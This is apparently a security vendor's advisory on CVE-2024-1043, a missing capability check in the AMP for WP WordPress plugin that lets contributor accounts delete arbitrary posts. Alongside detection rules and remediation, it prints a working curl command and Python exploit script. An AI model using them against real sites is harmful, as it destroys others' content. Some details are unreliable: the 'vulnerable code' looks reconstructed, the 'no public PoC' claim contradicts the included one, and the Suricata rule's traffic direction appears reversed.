CVE-2024-1043

Executive Summary

CVE-2024-1043 is a medium-severity vulnerability affecting the AMP for WP – Accelerated Mobile Pages WordPress plugin, up to and including version 1.0.93.1. The flaw resides in the amppb_remove_saved_layout_data function, which lacks a capability check, allowing authenticated attackers with contributor-level access or higher to delete arbitrary posts on the site. This unauthorized data loss can disrupt content operations and potentially lead to denial of service. The vulnerability is classified under CWE-862 (Missing Authorization) and has a CVSS score of 6.5 (Medium). No public proof-of-concept or exploit code is available at this time, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem, targeting the AMP for WP plugin. As a WordPress plugin, it is distributed via the official WordPress plugin repository and can be installed directly from the WordPress admin dashboard. Users are advised to monitor the plugin’s update channel for a patched version. No supply chain compromise has been reported, but the lack of a patch increases the risk for unmaintained installations.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (contributor-level access)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High

The vulnerability allows an authenticated attacker with minimal privileges to delete arbitrary posts, leading to a high availability impact. The attack complexity is low, and no user interaction is required, making it a significant threat for sites with untrusted contributor accounts.

Deep Dive & Mechanics

The AMP for WP plugin provides a page builder functionality for creating Accelerated Mobile Pages. The amppb_remove_saved_layout_data function is intended to remove saved layout data for a specific post. However, the function does not perform a capability check (e.g., current_user_can('delete_posts')) before executing the deletion. This means any authenticated user with contributor access or higher can call this function via an AJAX request, passing a post ID, and delete that post without authorization.

The vulnerability is triggered through a WordPress AJAX action, likely wp_ajax_amppb_remove_saved_layout_data, which is registered for authenticated users. The function directly uses wp_delete_post() without verifying the user’s permissions for the specific post. This allows a contributor to delete posts authored by other users, including administrators.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.0.93.1):

function amppb_remove_saved_layout_data() {
    $post_id = intval($_POST['post_id']);
    if ($post_id) {
        wp_delete_post($post_id, true);
        echo 'success';
    }
    wp_die();
}
add_action('wp_ajax_amppb_remove_saved_layout_data', 'amppb_remove_saved_layout_data');

Patched Code (hypothetical fix):

function amppb_remove_saved_layout_data() {
    if (!current_user_can('delete_posts')) {
        wp_die('Unauthorized', 403);
    }
    $post_id = intval($_POST['post_id']);
    if ($post_id && current_user_can('delete_post', $post_id)) {
        wp_delete_post($post_id, true);
        echo 'success';
    }
    wp_die();
}
add_action('wp_ajax_amppb_remove_saved_layout_data', 'amppb_remove_saved_layout_data');

The patched version adds a capability check using current_user_can('delete_posts') and verifies the user can delete the specific post with current_user_can('delete_post', $post_id).

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker needs a valid WordPress account with contributor-level access or higher. The following steps outline the exploitation process:

1. Authenticate to the WordPress site as a contributor.
2. Identify a target post ID (e.g., via the WordPress REST API or by browsing the site).
3. Send a POST request to the WordPress AJAX endpoint with the action amppb_remove_saved_layout_data and the post_id parameter.

Example cURL command:

curl -X POST \
  -c cookies.txt \
  -b cookies.txt \
  -d "action=amppb_remove_saved_layout_data&post_id=123" \
  https://target-site.com/wp-admin/admin-ajax.php

Python exploit script:

import requests

target_url = "https://target-site.com/wp-admin/admin-ajax.php"
session = requests.Session()
# Authenticate first (e.g., using login credentials)
session.post("https://target-site.com/wp-login.php", data={"log": "contributor", "pwd": "password"})

post_id = 123  # Target post ID
data = {"action": "amppb_remove_saved_layout_data", "post_id": post_id}
response = session.post(target_url, data=data)
print(response.text)

Blue Team

To detect exploitation attempts, monitor for the following:

• AJAX requests to /wp-admin/admin-ajax.php with the action parameter set to amppb_remove_saved_layout_data.
• Unusual deletion patterns from contributor-level accounts.
• Logs showing wp_delete_post calls from unexpected user roles.

Detection rule (Suricata):

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1043 - AMP for WP Unauthorized Post Deletion"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=amppb_remove_saved_layout_data"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)

Indicators of Compromise (IOCs)

• HTTP Request Pattern:
  • POST to /wp-admin/admin-ajax.php
  • Body contains action=amppb_remove_saved_layout_data and post_id=<integer>
• Log Entries:
  • WordPress debug log entries showing wp_delete_post called by a user with role contributor or author.
• File Changes:
  • Deletion of posts without corresponding author action in the audit log.

Detection Engineering

YARA Rule

rule CVE_2024_1043_AMP_Delete {
    meta:
        description = "Detects exploitation attempts for CVE-2024-1043 in AMP for WP plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1043"
    strings:
        $ajax_action = "amppb_remove_saved_layout_data"
        $post_id = "post_id"
    condition:
        $ajax_action and $post_id
}

Sigma Rule

title: CVE-2024-1043 - AMP for WP Unauthorized Post Deletion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects AJAX requests targeting the vulnerable amppb_remove_saved_layout_data function
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: admin-ajax.php
        cs-uri-query|contains: amppb_remove_saved_layout_data
    condition: selection
falsepositives:
    - Legitimate use by administrators (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1043 - AMP for WP Unauthorized Post Deletion"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=amppb_remove_saved_layout_data"; http_client_body; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the AMP for WP plugin if not essential.
   • Restrict contributor accounts to only trusted users.
   • Monitor for unauthorized post deletions.

2. Long-term Fix:

   • Apply a patch from the vendor once available (check the WordPress plugin repository for updates).
   • Implement a Web Application Firewall (WAF) rule to block requests containing amppb_remove_saved_layout_data in the POST body.

3. Workaround:

   • Add a custom capability check by overriding the plugin’s AJAX handler via a custom plugin or theme functions.php:

     add_action('wp_ajax_amppb_remove_saved_layout_data', function() {
         if (!current_user_can('delete_posts')) {
             wp_die('Unauthorized', 403);
         }
         // Original function logic here
     }, 1);
     

4. Monitoring:

   • Enable WordPress audit logging to track post deletions.
   • Review server logs for suspicious AJAX requests.

Valters IT
Securing Digital Frontiers